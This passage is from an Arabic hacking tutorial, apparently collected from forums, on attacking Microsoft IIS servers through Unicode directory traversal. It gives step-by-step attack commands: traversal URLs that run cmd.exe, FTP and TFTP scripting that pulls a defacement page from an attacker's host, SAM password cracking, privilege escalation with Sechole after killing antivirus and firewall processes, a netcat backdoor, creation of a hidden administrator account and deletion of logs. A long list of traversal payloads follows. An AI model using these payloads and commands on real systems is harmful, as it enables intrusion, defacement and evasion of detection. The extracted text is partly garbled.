‫‪http://www.xxxx.com/msad‬‬ ‫‪c/..%c0%af../..‬‬ ‫‪%c0%af../winnt/system32/‬‬ ‫?‪cmd.exe‬‬ ‫‪c+copy+c:\winnt\system32‬‬ ‫‪\cmd.exe+c:\inetpub\script‬‬ ‫‪s\cmd1.exe‬‬ ‫‪ -2‬الطريقة الثانية بالتعامل مع الملف ‪ssinc.dll‬‬ ‫والطريقة كما يلي ‪-:‬‬ ‫‪ o‬اول انشاء صفحة باسم ‪test.shtml‬‬ ‫‪ o‬تكون هذه الصفحة داتخل مجلد‬ ‫‪wwwroot/hEx/test.shtml‬‬ ‫‪ o‬كتابة هذا الكود داتخل الصفحة >!‪#--‬‬ ‫‪<--"include file="AAAA[...]AA‬‬ ‫بحيث ان حرف ‪ A‬يتم كتابتة حتى يتعدى‬ ‫‪ 2049‬حرف ‪.‬‬ ‫‪ o‬الن يتم طلب الصفحة من تخلل المتصفح‬ ‫‪http://www.xxxx.com/test.sht‬‬ ‫‪ml‬‬ ‫‪ o‬الن سوف تظهر لك الصفحة ‪.‬‬

‫‪323‬‬

‫‪ o‬الن تستطيع الكتابه وتم تخطي مشكلة الـ‬ ‫‪. Access Denied‬‬ ‫‪ o‬اذا ظهرت لك صفحة الخطاء رقم ‪500‬‬ ‫فمعناها انك لم تقم بتطبيق الطريقة بالشكل‬ ‫الصحيح وعليك اعادة المحاولة ‪.‬‬ ‫‪ -3‬الطريقة الثالثة باستخدا‪.‬م برنامج ‪ NC.exe‬بحيث‬ ‫يتم عمل اب لوود لهذا الملف داتخل مجلد الـ‬ ‫‪ Temp‬في دليل الويندوز ومنه يتم تنفيذ الوامر‬ ‫من تخلل موهجة الدوز وللمعلومية مجلد الـ‬ ‫‪ Temp‬مفتو ح لعمليات الب لوود ‪.‬‬ ‫‪ -4‬الطريقة الرابعة وهي من تخلل عمل كراش‬ ‫للسيرفر باستخدا‪.‬م البرامج اللزمة لهذا الغرض‬ ‫وهذه الطريقة غير مجديه في كثير من الحيان ‪.‬‬ ‫‪ -5‬البحث عن ملفات ‪root.exe ، :‬‬ ‫‪sensepost.exe ، shell.exe ،‬‬ ‫‪ w3svc.exe‬ونسخها الى مجلد‬ ‫‪ c:\inetpub\scripts‬وتطبيق الثغرة من‬ ‫تخللها ‪.‬‬

‫‪324‬‬

‫ كيفية عمل اكاوبنت للدوخول‬. FTP ‫بواسطة الـ‬ ‫ باسم‬Scripts ‫ الى مجلد‬CMD ‫ نسخ ملف‬-1 ‫ حتى يتم الستفادة من ثغرة قديمة‬Shell.exe / c+copy+c:\winnt\system32 \cmd.exe+c:\inetpub\script s\shell.exe ‫ بواسطة المر‬mspft.pll ‫ انشاء ملف‬-2 open ‫ وكتابة فيه التالي‬Echo ‫م للـ‬.‫ حيث ان هذا هو الخاد‬ftp.host.com . FTP / c+echo+open+ftp.host.com+ >+c:\winnt\mspft.ppl ‫ الن مطلوب اضافة مجهول‬-3 ‫ الى نفس الملف الذي قمنا‬Anonymous mspft.pll ‫بانشاءه‬ / shell.exe?/c+echo+anonymo us+>>+c:\winnt\mspft.ppl 325

‫ الن مطلوب ادراج البريد‬-4 ‫ الى نفس‬[email protected] mspft.pll ‫الملف الذي قمنا بانشاءه‬ / shell.exe?/c+echo+hEx@Hot mail.Com+>>+c:\winnt\ms pft.ppl ‫م‬.‫ لزو‬Anonymous ‫ قبل‬User ‫ إضافة‬-5 mspft.pll ‫الملف الذي قمنا بانشاءه‬ / shell.exe?/c+echo+user+an onymous+>>+c:\winnt\msp ft.ppl ‫ الن تكرار لحاهجة العداد‬-6 / shell.exe?/c+echo+hEx@Hot mail.Com+>>+c:\winnt\ms pft.ppl

326

‫يتم هنا ادراج الموقع الحالي‬

‫‪.g‬‬ ‫للملفات‬

‫‪/‬‬ ‫‪shell.exe?/c+echo+lcd+c:\in‬‬ ‫‪etpub\wwwroot+>>+c:\win‬‬ ‫‪nt\mspft.ppl‬‬ ‫‪ -8‬الن يكتب اوامر الـ ‪ FTP‬اللزمة لسحب‬ ‫الملف من تخاد‪.‬م الـ ‪ FTP‬وهي ‪Get‬‬ ‫‪ index.htm‬ثم يدرج هنا بدون المسج السابق‬ ‫‪/‬‬ ‫‪shell.exe?/c+echo+get+inde‬‬ ‫‪x.html+>>+c:\winnt\mspft.‬‬ ‫‪ppl‬‬ ‫‪ -9‬هنا نفس السابق ولكن باضافة ‪Quit‬‬ ‫‪/‬‬ ‫>>‪shell.exe?/c+echo+quit+‬‬ ‫‪+c:\winnt\mspft.ppl‬‬ ‫‪ -10‬الن يتم تنفيذ امر ‪FTP.exe?+"-‬‬ ‫‪ ”s:c:winnt\mspft.ppl‬وهو عبارة عن‬ ‫تخطوات قمنا بانشاءها وموهجودة في ملف‬ ‫‪ mspft.ppl‬باحتوائها على مايلي ‪-:‬‬ ‫‪327‬‬

Open FTP.host.com Anonymous [email protected] User Anonymous [email protected] Get index.html Quit msadc/..%c0%af../../ %c0%af../winnt/system32/ ftp.exe?+""s:c:\winnt\mspft.ppl

‫ طريقة كشف باسورد‬. ‫الدمينستريتور‬ Microsoft ) ‫نحتاج الى وهجود برنامجين‬ ‫م تنفيذ‬.‫ ( وهي لزو‬Access – L0phtCrack -: ‫بعض الخطوات لتالية وهي‬ ‫ باسورد الدمينستيتور للسيرفر يكون موهجود في‬\ ‫_ في دليل‬.SAM ‫ملف الـ‬ 328

‫‪ \winnt\repair‬وافضل برنامج لفك‬ ‫شفرة الباسورد هو برنامج ‪L0phtCrack‬‬ ‫كما هو موضح بالشكل التالي‪-:‬‬

‫ اذا كان هناك مستخدمين في السيرفر ويوهجد‬‫لديهم حساب فان معلوماتهم سوف تكون في ملف‬ ‫‪ PASSFILT.DLL‬ونستطيع تحديد مسار‬ ‫هذا الملف من تخلل الريجستري بواسطة هذا‬ ‫المفتا ح ‪-:‬‬ ‫‪HKEY_LOCAL_MACHINE\SYS‬‬ ‫‪TEM\CurrentControlSet\Cont‬‬ ‫‪rol\Lsa\SYSTEM32\PASSFIL‬‬ ‫‪T.DLL‬‬

‫‪329‬‬

‫ اذا كان السيرفر يعتمد في القراءة باستخدا‪.‬م‬‫صفحات الـ ‪ ASP‬للوصول الى البيانات من تخلل‬ ‫الـ ‪ MySQL‬فسوف نحتاج الى‬ ‫قاعدة‬ ‫تطبيق ثغرة ) ‪ ( htr.+‬للوصول الى باسورد‬ ‫المسئول عن هذة القاعده وهي كالتالي ‪-:‬‬ ‫‪http://www.xxxx.com/defa‬‬ ‫‪ult.asp+.htr‬‬ ‫عند ظهور صفحة الخطا في الوصول الى الصفحة‬ ‫المطلوبة وبالتحديد في سيكربت التنفيذ فالطريقة‬ ‫صحيحة وماعلينا فقط سوى سحب ملف‬ ‫‪ database.inc‬وقراءة محتوياته للعثور‬ ‫على اسم المستخد‪.‬م والباسورد للمسئول عن‬ ‫قاعدة البيانات ‪.‬‬

‫ تغيير الصفحة الرئيسية للموقع‬‫وعملية الب لوود بواسطة‬ ‫بربنامج ‪. TFTP‬‬ ‫‪ -1‬قم بانشاء صفحة وضع شعارك عليها‬ ‫واحفظها باسم ‪ index.htm‬على الـ ‪\:c‬‬ ‫‪330‬‬

‫‪ -2‬قم بتشغيل برنامج ‪ TFTP‬ونفذ المر في‬ ‫الفقرة التالية ‪.‬‬

‫‪331‬‬

‫‪c+tftp.exe+"-/‬‬ ‫‪i"+1.1.1.1+GET+index.ht‬‬ ‫‪m+C:\inetpub\wwwroot‬‬ ‫‪\index.htm‬‬ ‫وهو البرنامج اللز‪.‬م لعمل الب لوود‬ ‫‪tftp.ex‬‬ ‫ويجب ان يكون شغال في حالة تنفيذ‬ ‫‪e‬‬ ‫المر‬ ‫وهو بمثابة باراميترز لزو‪.‬م قراء‬ ‫"‪"i-‬‬ ‫البيانات في مكتبة الملفات‬ ‫‪1.1.1.1‬‬ ‫رقم اليبي الخاص بك‬ ‫وهو المر اللز‪.‬م لطلب الملفات مابين‬ ‫‪GET‬‬ ‫الرسال والستقبال‬ ‫‪index.‬‬ ‫اسم الملف بجهازك‬ ‫‪htm‬‬ ‫\‬ ‫‪inetpu‬‬ ‫اسم الدليل في السيرفر‬ ‫‪b\ww‬‬ ‫‪\wroot‬‬ ‫اسم الملف على السيرفر‬ ‫‪index.‬‬ ‫‪332‬‬

‫‪htm‬‬

‫ مسح ملفات اللوق حتى ل يتم‬‫التعرف عليك ‪.‬‬ ‫وتتم هذه العملية من تخلل حذف ملفات الـ ‪ Log‬من‬ ‫مجلد ‪ System32‬بواسطة المر ‪-:‬‬ ‫‪/‬‬ ‫‪c+del+c:/winnt/system32/lo‬‬ ‫‪gfiles/*.log‬‬ ‫انتهى ‪،،،‬‬

‫‪333‬‬

‫" الوختراق عن طريق اليوبنيكود‬ ‫)الجزء الثابني( "‬ ‫>منقول من منتديات شبكة الحز‪.‬م السلمية<‬

‫‪334‬‬

‫في الدرس الول كان عبارة عن اوامر اساسية‬ ‫يستطيع الجميع تطبيقها ‪ ..‬اما في هذا الدرس فالمر‬ ‫يتطلب بعض الذكاء والمهارة ‪..‬‬

‫البداية ‪:‬‬ ‫‪-------------‬‬‫عند وهجود موقع مصاب بثغرة ما )يونيكود( فان اول‬ ‫شي عليك القيا‪.‬م به هو نسخ مجلد ‪ cmd‬الى ‪cmd1‬‬ ‫بهذه الطريقة ‪:‬‬ ‫‪+C+copy+c:\winnt\system32‬‬ ‫‪ c:\winnt\system32\cmd1.exe‬والسبب‬ ‫هو تفعيل امر الكتابة ‪.. Echo‬‬ ‫وبعد ذلك نفذ الثغرة من الملف الجديد ‪CMD1.exe‬‬ ‫) هذا شي يعرفه الجميع ( لكن للتذكير فقط !‬ ‫الن عند تصفحك لملفات الموقع من المتصفح ‪ ..‬من‬ ‫تخلل هذه الثغرة فانه سيكون لديك صلحيات‬ ‫‪ IWAM_USER‬وهذا المستخد‪.‬م هو عبارة عن‬ ‫يوزر ينتمي للمجموعه ‪ Guest‬وهو اليوزر‬ ‫المسؤوول عن تشغيل سيرفر ‪. IIS‬‬ ‫‪335‬‬

‫وبما انه من مجموعة ‪ Guest‬فهو ل يملك صلحيات‬ ‫كثيرة !! ال اذا تم اعداده بشكل سيء ‪(:‬‬ ‫ليوهجد شي اكثر ادمانا من محاولة الحصول على‬ ‫رووت ‪ (:‬هذا في انظمة *‪ nix‬اما في ‪Microsot‬‬ ‫فالوضع مختلف ‪ (:‬فإن محاولة الحصول على‬ ‫صلحيات ‪ Administrator‬ليس بالسهولة التي‬ ‫تتوقعها ‪ (:‬فرفع المتيازات بشكل محلي في انظمة‬ ‫مايكروسوفت ممكن فقط بطرق قليلة ل يتعدى عددها‬ ‫اصابع اليد الواحده ‪ ..‬وانا اكتب هذا الموضوع لشر ح‬ ‫كيفية احكا‪.‬م السيطرة على السيرفر والحصول على‬ ‫حساب مكافيء للمدير ‪ (:‬والتمتع بجميع موارد النظا‪.‬م‬ ‫‪..‬‬ ‫‪ +‬الملفات المطلوبة ‪:‬‬ ‫‪ Sechole.exe‬وملحقاتها ‪.‬‬ ‫‪Kill.exe‬‬ ‫‪Tlist.exe‬‬ ‫‪ncx99.exe‬‬ ‫‪tftpd32.exe‬‬ ‫هجهز العده ‪.. (:‬‬ ‫‪336‬‬

‫لتوفير الوقت هجمعتها في مجلد واحد هنا‬ ‫الن سأشر ح عمل كل اداة ‪:‬‬ ‫‪ Sechole - 1‬وهو اقوى استثمار موهجود لرفع‬ ‫المتيازات بشكل محلي ‪ ..‬وطريقة عمله )بشكل‬ ‫مبسط( بأنه يعتمد على صدع في نواة ويندوز ان تي‬ ‫‪ ..‬يستطيع من تخلله اغتصاب عملية تابعه لمدير‬ ‫النظا‪.‬م يقو‪.‬م من تخللها برفع امتيازاتك ‪. (:‬‬ ‫‪ Tlist - 2‬تقو‪.‬م بعرض هجميع العمليات التي تعمل‬ ‫بالخلفيه ‪ ..‬والفائده منها هو اقفال الفايروول ‪ +‬النتي‬ ‫فايروس ‪(:‬‬ ‫‪ Kill.exe -3‬عملها متمم للداة السابقة حيث ستقو‪.‬م‬ ‫باقفال رقم العملية المستخرج من الداة السابقة ‪.‬‬ ‫‪ NCX99 -3‬نسخه مطورة من الباكدوور ‪NC‬‬ ‫ينصت على المنفذ ‪99‬‬ ‫‪ TFTP32.exe -4‬لنقل الملفات الى السيرفر ‪..‬‬

‫كل ما سبق كان عبارة عن مقدمه ‪ (:‬اما العمل‬ ‫الحقيقي سيبدأ الن ‪:‬‬ ‫‪337‬‬

‫اول قم برفع هجميع الدوات السابق الى السيرفر ‪..‬‬ ‫ثم قم بتشغيل ‪ ncx99.exe‬بهذا الشكل مثل ‪:‬‬ ‫‪http://target/scripts/..À¯../winnt/syst‬‬ ‫‪em32/cmd1.exe?/c+C:\ncx99.exe‬‬ ‫بعد ذلك قم بالتصال بالموقع على البورت ‪.. 99‬‬ ‫ستحصل على سطر اوامر ‪ CMD‬بدون امتيازات =‬ ‫‪. Guest‬‬ ‫الن قم بتشغيل الداة ‪ .. TLIST‬ستعرض لك هجميع‬ ‫العمليات التي تعمل ‪ ..‬قم بالبحث عن رقم العملية‬ ‫‪ PID‬الخاص بالنتي فايروس ان وهجد ‪ ..‬وكذلك اذا‬ ‫وهجدت هجدار ناري ‪..‬‬ ‫سجل رقم ‪ PID‬الخاص بالنتي فايروس والفايروول‬ ‫على ورقه هجانبيه ‪..‬‬ ‫الن قم بقتل الهجراء بالداة ‪ Kill‬بهذا الشكل ‪:‬‬ ‫‪ .. KILL.exe PID‬مكان ‪ PID‬تضع رقم العملية ‪(:‬‬ ‫يسأل البعض ! مالهدف من اقفال النتي فايروس ؟‬ ‫الهجابة ‪ ..‬أن التحديثات التخيرة من انتي فايروس‬ ‫تتعامل مع ‪ Sechole‬على انه باكدور ‪ ..‬والن بعد‬ ‫‪338‬‬

‫اتما‪.‬م العمليات السابقة بنجا ح ‪ ..‬قم بتشغيل‬ ‫‪ (: Sechole.exe‬من المتصفح ‪.‬‬

‫عندها سيتم رفم امتيازات ‪ IWAM_USER‬الى‬ ‫مجموعه ‪.. Administrators‬‬ ‫الن بإمكانك تنفيذه هجميع الوامر بكامل الحريه وبدون‬ ‫اي مشاكل في الصلحيات ‪. Access Denided‬‬ ‫وطبعا اهم شي الكتابة على الصفحه الرئيسية بامر‬ ‫اليكو ‪:‬‬ ‫‪+C+Echo+Hacked+by+XDeMoNX‬‬ ‫< ‪C;\inetpub\wwwroot\index+‬‬ ‫‪htm.‬‬ ‫ولكن ليس هذا كل شي ‪..‬‬ ‫القراصنه الذكياء ل يبحثون فقط عن تغيير الصفحه‬ ‫الرئيسية تخصوصا اذا كان الموقع مهم او يحتوي على‬ ‫معلومات او قواعد بيانات ‪ ...‬إلخ ‪(:‬‬ ‫سؤال ‪ :‬هل تستطيع الدتخول بهذا اليوزر ؟‬ ‫‪ IWAM_USER‬الى اي تخدمه مثل تلنت او اف تي‬ ‫بي ؟؟‬ ‫‪339‬‬

‫الهجابة ‪ :‬ل ‪ ..‬صحيح اننا قمنا برفع امتيزاته لكننا ل‬ ‫نملك كلمه المرور ! لنه تكون مسنده بشكل عشوائي‬ ‫‪.‬‬ ‫سيذهب تفكير البعض الى الحصول على ملف السا‪.‬م‬ ‫وكسره ‪ (:‬هذا ممكن ‪ ..‬لكن يوهجد ماهو اسهل ‪.‬‬ ‫بما اننا لدينا حساب مكافي لـ ‪Administrator‬‬ ‫ولكننا ل نملك كلمة المرور ‪ .‬ما رأيك بإضافه يوزر‬ ‫هجديد باسمك مع باسورد تخاصه بك مع امتيازات المدير‬ ‫ايضا !! ‪ (:‬قليل من الذكاء والتفكير ‪(:‬‬ ‫قم بانشاء مستند نصي هجديد واضف السطر التالي ‪:‬‬ ‫‪net user Demon pass /add && net‬‬ ‫‪localgroup administrators Demon‬‬ ‫‪ /add‬والن ‪ Save as‬واحفظها باسم ‪. add.bat‬‬ ‫توضيح ‪ :‬ما فعلناه سابقا هو انشاء مجلد دفعاتي يقو‪.‬م‬ ‫بانشاء يوزر هجديد ‪ Demon‬وكلمة مرور ‪Pass‬‬ ‫واضافته الى مجموعة الدمنستريتورز ‪ (:‬المدراء ‪..‬‬ ‫قم الن برفع الملف ‪ add.bat‬ثم تشغيلها من‬ ‫المتصفح )بواسطة اليونكود(‬ ‫الن لديك حساب مدير ‪ (:‬وتستطيع الدتخول الى اي‬ ‫تخدمه ‪ ..‬اف تي بي او تلنت او نت بيوس او غيرها ‪(:‬‬ ‫ل تنسى في النهاية مسح الثار واضافة البواب الخلية‬ ‫‪340‬‬

‫الخاصة بك لتسهيل الدتخول في المرات القادمه ‪(:‬‬ ‫طبعا لن اتوسع في هذا الجانب لنه ) لكل شيخ‬ ‫طريقة!( وكل واحد له اسلوب في اتخفاء ادواته‬ ‫والتحكم في الملفات ‪.‬‬ ‫نرهجع لنقطة سابقة ‪..‬‬ ‫هل تذكر اني طلبت منك اقفال الفايروول ؟؟ لماذا ؟‬ ‫لو هجربت تنفذ المر ‪ netstat -an‬من تخلل سطر‬ ‫اوامر الن سي ‪ ..‬فانك ستجد من المنافذ ما يسر القلب‬ ‫‪(:‬‬ ‫‪ 90%‬من السيرفرات اللي دتخلتها وكانت محمية‬ ‫بجدران نار ‪ (:‬وهجدت المنفذ ‪ 139‬فيها مفتوحا بدون‬ ‫حمايه ‪(:‬‬ ‫لذا فان اقفال الفايرول قد يجعل لك اكثر من تخيار‬ ‫لسقاط الهدف ‪(:‬‬ ‫اسف على النحو الملء ‪ ..‬والتنسيق الـ أي كل‪.‬م ‪(:‬‬ ‫واتختصار المعلومات ايضا ‪.‬‬ ‫بالمكان الستعراض اكثر من ذلك بكثير ‪ ..‬الى درهجة‬ ‫الحصول على تحكم رسومي ‪. GUI‬‬ ‫‪341‬‬

‫لكن لم يكون لدي الوقت الكافي ‪ ..‬اذا وهجدت وقت‬ ‫فراغ فسأكتب عن طرق اتخرى وادوات اتخرى مثل‬ ‫‪ GEtAdmin‬و ‪ Sechole2‬وكيفية الحصول على‬ ‫تحكم رسومي بواسطه الداة ‪.. WINvnc‬‬

‫انتهى‪،،،‬‬

‫‪342‬‬

‫" معلومات عامة عن كيفية‬ ‫الستفاد ة من اثغرات اليوبنيكود "‬

‫‪343‬‬

‫>منقول<‬ ‫>الكاتب‪ :‬بلك هنتر<‬ ‫الموضوع يتكلم عن اساليب التحكم في السيرفر عبر‬ ‫اليونيكود مع بعض المتطلبات‬ ‫الدوات المطلوبه ‪:‬‬ ‫‪ (1‬اداة مسح ثغرات يونيكود‬ ‫‪ (2‬برنامج سيرفر ‪TFTPD‬‬ ‫‪ (3‬معرفة هجيده باليونيكود‬ ‫=============================‬ ‫====================‬ ‫=============================‬ ‫====================‬ ‫‪ (1‬بأمكانك الحصول على ثغرات اليونيكود من العديد‬ ‫من المواقع او من موقعي‬ ‫‪/http://www.devil2k.com‬‬ ‫وهذه مهداه مني انا )) بلك هنتر ((‬ ‫‪msadc/..%255c../..%255c../../‬‬ ‫‪%255c../winnt/system32/cmd.exe?/c‬‬ ‫‪\:+dir+c‬‬

‫‪344‬‬

msadc/../ %25%35%63../..%25%35%63../..%25 %35%63../winnt/system32/cmd.exe? \:/c+dir+c msadc/..%255c..%255c..%255c../ %255cwinnt/system32/cmd.exe?/c+ \:dir+c msadc/../ %25%35%63..%25%35%63..%25%35 %63..%25%35%63winnt/system32/c \:md.exe?/c+dir+c scripts/..%255c../ %255cwinnt/system32/cmd.exe?/c+ \:dir+c scripts/..%252f..%252f..%252f../ %252fwinnt/system32/cmd.exe?/c+d \:ir+c scripts/..%255c../ %255cwinnt/system32/cmd.exe?/c+ \:dir+c

345

msadc/..%255c../..%255c../../ %255c../winnt/system32/cmd.exe?/c \:+dir+c msadc/..%%35c../..%%35c../..%/ %35c../winnt/system32/cmd.exe?/c+ \:dir+c msadc/..%%35%63../..%/ %35%63../..% %35%63../winnt/system32/cmd.exe? \:/c+dir+c msadc/../ %25%35%63../..%25%35%63../..%25 %35%63../winnt/system32/cmd.exe? \:/c+dir+c MSADC/..%255c..%255c..%255c../ %255cwinnt/system32/cmd.exe?/c+ \:dir+c MSADC/..%%35c..%%35c..%%35c../ % %35cwinnt/system32/cmd.exe?/c+di \:r+c 346

MSADC/..%%35%63..%%35%63..%/ %35%63..% %35%63winnt/system32/cmd.exe?/c \:+dir+c MSADC/../ %25%35%63..%25%35%63..%25%35 %63..%25%35%63winnt/system32/c \:md.exe?/c+dir+c vti_bin/..%255c..%255c..%255c.._/ %255c.. %255c../winnt/system32/cmd.exe?/c \:+dir+c vti_bin/..%%35c..%%35c..%%35c.._/ %%35c..% %35c../winnt/system32/cmd.exe?/c+ \:dir+c vti_bin/..%%35%63..%%35%63..%_/ %35%63..%%35%63..% %35%63../winnt/system32/cmd.exe? \:/c+dir+c vti_bin/.._/ %25%35%63..%25%35%63..%25%35 347

%63..%25%35%63..%25%35%63../wi \:nnt/system32/cmd.exe?/c+dir+c PBServer/..%255c..%255c../ %255cwinnt/system32/cmd.exe?/c+ \:dir+c PBServer/..%%35c..%%35c..%/ %35cwinnt/system32/cmd.exe?/c+di \:r+c PBServer/..%%35%63..%/ %35%63..% %35%63winnt/system32/cmd.exe?/c \:+dir+c PBServer/../ %25%35%63..%25%35%63..%25%35 %63winnt/system32/cmd.exe?/c+dir \:+c Rpc/..%255c..%255c../ %255cwinnt/system32/cmd.exe?/c+ \:dir+c Rpc/..%%35c..%%35c..%/ %35cwinnt/system32/cmd.exe?/c+di \:r+c 348

Rpc/..%%35%63..%%35%63..%/ %35%63winnt/system32/cmd.exe?/c \:+dir+c Rpc/../ %25%35%63..%25%35%63..%25%35 %63winnt/system32/cmd.exe?/c+dir \:+c vti_bin/..%255c..%255c..%255c.._/ %255c.. %255c../winnt/system32/cmd.exe?/c \:+dir+c vti_bin/..%%35c..%%35c..%%35c.._/ %%35c..% %35c../winnt/system32/cmd.exe?/c+ \:dir+c vti_bin/..%%35%63..%%35%63..%_/ %35%63..%%35%63..% %35%63../winnt/system32/cmd.exe? \:/c+dir+c vti_bin/.._/ %25%35%63..%25%35%63..%25%35 349

%63..%25%35%63..%25%35%63../wi \:nnt/system32/cmd.exe?/c+dir+c samples/..%255c..%255c..%255c../ %255c..%255c.. %255cwinnt/system32/cmd.exe?/c+ \:dir+c cgi-bin/..%255c..%255c..%255c../ %255c..%255c.. %255cwinnt/system32/cmd.exe?/c+ \:dir+c iisadmpwd/..%252f..%252f..%252f../ %252f..%252f.. %252fwinnt/system32/cmd.exe?/c+d \:ir+c vti_cnf/..%255c..%255c..%255c.._/ %255c..%255c.. %255cwinnt/system32/cmd.exe?/c+ \:dir+c adsamples/..%255c..%255c..%255c../ %255c..%255c.. %255cwinnt/system32/cmd.exe?/c+ \:dir+c 350

scripts/..%C1%1C..%C1%1C../ %C1%1C.. %C1%1Cwinnt/system32/cmd.exe?/ \:c+dir+c scripts/..%C1%9C..%C1%9C../ %C1%9C.. %C1%9Cwinnt/system32/cmd.exe?/ \:c+dir+c scripts/..%C0%AF..%C0%AF../ %C0%AF.. %C0%AFwinnt/system32/cmd.exe?/ \:c+dir+c scripts/..%252f..%252f..%252f../ %252fwinnt/system32/cmd.exe?/c+d \:ir+c scripts/..%255c../ %255cwinnt/system32/cmd.exe?/c+ \:dir+c scripts/../ %c1%1c../winnt/system32/cmd.exe? \:/c+dir+c 351

scripts/../ %c0%9v../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c scripts/../ %c0%qf../winnt/system32/cmd.exe?/ \:c+dir+c scripts/../ %c1%8s../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c1%9c../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c1%pc../winnt/system32/cmd.exe? \:/c+dir+c msadc/..%c0%af../..%c0%af../../ %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c 352

vti_bin/..%c0%af../..%c0%af../.._/ %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c scripts/../ %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c scripts../ %c1%9c../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c1%pc../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c0%9v../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c0%qf../winnt/system32/cmd.exe?/ \:c+dir+c scripts/../ %c1%8s../winnt/system32/cmd.exe? \:/c+dir+c 353

scripts/../ %c1%1c../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c1%9c../winnt/system32/cmd.exe? \:/c+dir+c scripts/../ %c1%af../winnt/system32/cmd.exe?/ \:c+dir+c scripts/../ %e0%80%af../winnt/system32/cmd.e \:xe?/c+dir+c scripts/../ %f0%80%80%af../winnt/system32/c \:md.exe?/c+dir+c scripts/../ %f8%80%80%80%af../winnt/system3 \:2/cmd.exe?/c+dir+c scripts/..%fc/ %80%80%80%80%af../winnt/system \:32/cmd.exe?/c+dir+c 354

msadc/..\%e0\%80\%af../..\/ %e0\%80\%af../..\ %e0\%80\%af../winnt/system32/cmd. \:exe\?/c+dir+c cgi-bin/..%c0%af..%c0%af../ %c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c samples/..%c0%af..%c0%af../ %c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c iisadmpwd/..%c0%af..%c0%af../ %c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c vti_cnf/..%c0%af..%c0%af.._/ %c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c vti_bin/..%c0%af..%c0%af.._/ %c0%af..%c0%af.. 355

‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+c‬‬ ‫‪adsamples/..%c0%af..%c0%af../‬‬ ‫‪%c0%af..%c0%af..‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+c‬‬

‫‪ (2‬بأمكانك الحصول على برنامج ‪ TFTPD‬من‬ ‫الموقع‬ ‫‪/http://iisbughelp.4t.com‬‬

‫‪ (3‬معرفة اليونيكود بسيطه هجدا يكفي ان تعرف كيف‬ ‫تستطيع النتقال عبر الهارديسكات وعبر الملفات‬ ‫)تعمل عبر المتصفح (‬ ‫‪scripts]/..%c0%af../..%c0%af../..]/‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+C‬‬ ‫لقرائه ما بداتخل هارديسك \‪C:‬‬ ‫‪356‬‬

‫‪scripts]/..%c0%af../..%c0%af../..]/‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+D‬‬ ‫لقرائه ما بداتخل هارديسك \‪D:‬‬ ‫‪scripts]/..%c0%af../..%c0%af../..]/‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+E‬‬ ‫لقرائه ما بداتخل هارديسك \‪E:‬‬

‫نقو‪.‬م بعمل سكان على الموقع لنرى ما به من ثغرات‬ ‫وهنا مثال على ثغرات مبتدأه بالمجلد المطلوب‬ ‫)) اغلب ثغرات اليونيكود تنطلق من هذه المجلدات ((‬ ‫‪(1‬مثال المجلد ‪msadc‬‬ ‫‪msadc/..%c0%af../..%c0%af../../‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+C‬‬ ‫‪ (2‬مثال المجلد _‪vti_bin‬‬ ‫‪vti_bin/..%c0%af../..%c0%af../.._/‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+C‬‬ ‫‪357‬‬

‫في سيرفرات ‪ IIS‬عند تركيبها )) بشكل عادي ((‬ ‫يكون المجلد الرئيسي للويب تحت اسم معين وهو ‪:‬‬ ‫‪C:\Inetpub\wwwroot‬‬ ‫او في المجلد‬ ‫‪D:\Inetpub\wwwroot‬‬ ‫او في المجلد‬ ‫‪E:\Inetpub\wwwroot‬‬ ‫في العاده يكون في الهارديسك ‪ C‬ولذلك سأكمل‬ ‫شرحي على انه هناك‬ ‫ستجد في هذا المجلد عادة هجميع المواقع التي على‬ ‫السيرفر‬ ‫فلو وهجدنا ثغرة يونيكود ما ولتكن‬ ‫‪msadc/..%c0%af../..%c0%af../../‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪\:c+dir+c‬‬ ‫وأردنا الولوج الى هذا الملف لنرى ما به فسنكتب‬ ‫الثغره هكذا ‪:‬‬ ‫‪msadc/..%c0%af../..%c0%af../../‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪c+dir+C:\Inetpub\wwwroot‬‬ ‫‪358‬‬

‫اذا كان السيرفر يحوي عدة مواقع فستجدها كل موقع‬ ‫باسمه ) ستجدها في مجلدات بداتخل مجلد الـ‬ ‫‪ ( wwwroot‬اما لو كان السيرفر عباره‬ ‫عن موقع واحد فقط فستجد كافة الملفات في مجلد الـ‬ ‫‪ wwwroot‬نفسه‬ ‫في اغلب الظن يقو‪.‬م الهاكر بتغيير الصفحة الرئيسيه‬ ‫الولى وعليك ان تعلم انه ليس دائما الصفحة الرئيسيه‬ ‫الولى تحمل اسم ‪index.htm‬‬ ‫هناك عدة تسميات وأتختصارات لها وهذه بعضها‬ ‫)) معظمها ((‬ ‫‪index.htm‬‬ ‫‪index.asp‬‬ ‫‪default.htm‬‬ ‫‪default.asp‬‬ ‫‪main.htm‬‬ ‫‪main.asp‬‬ ‫لنفرض الن اننا وهجدنا ان الصفحة الرئيسيه للموقع‬ ‫في مجلدنا ‪ wwwroot‬هي ‪ index.htm‬فكيف‬ ‫سنقو‪.‬م بتغييرها وهو ما يهمنا تقريبا من 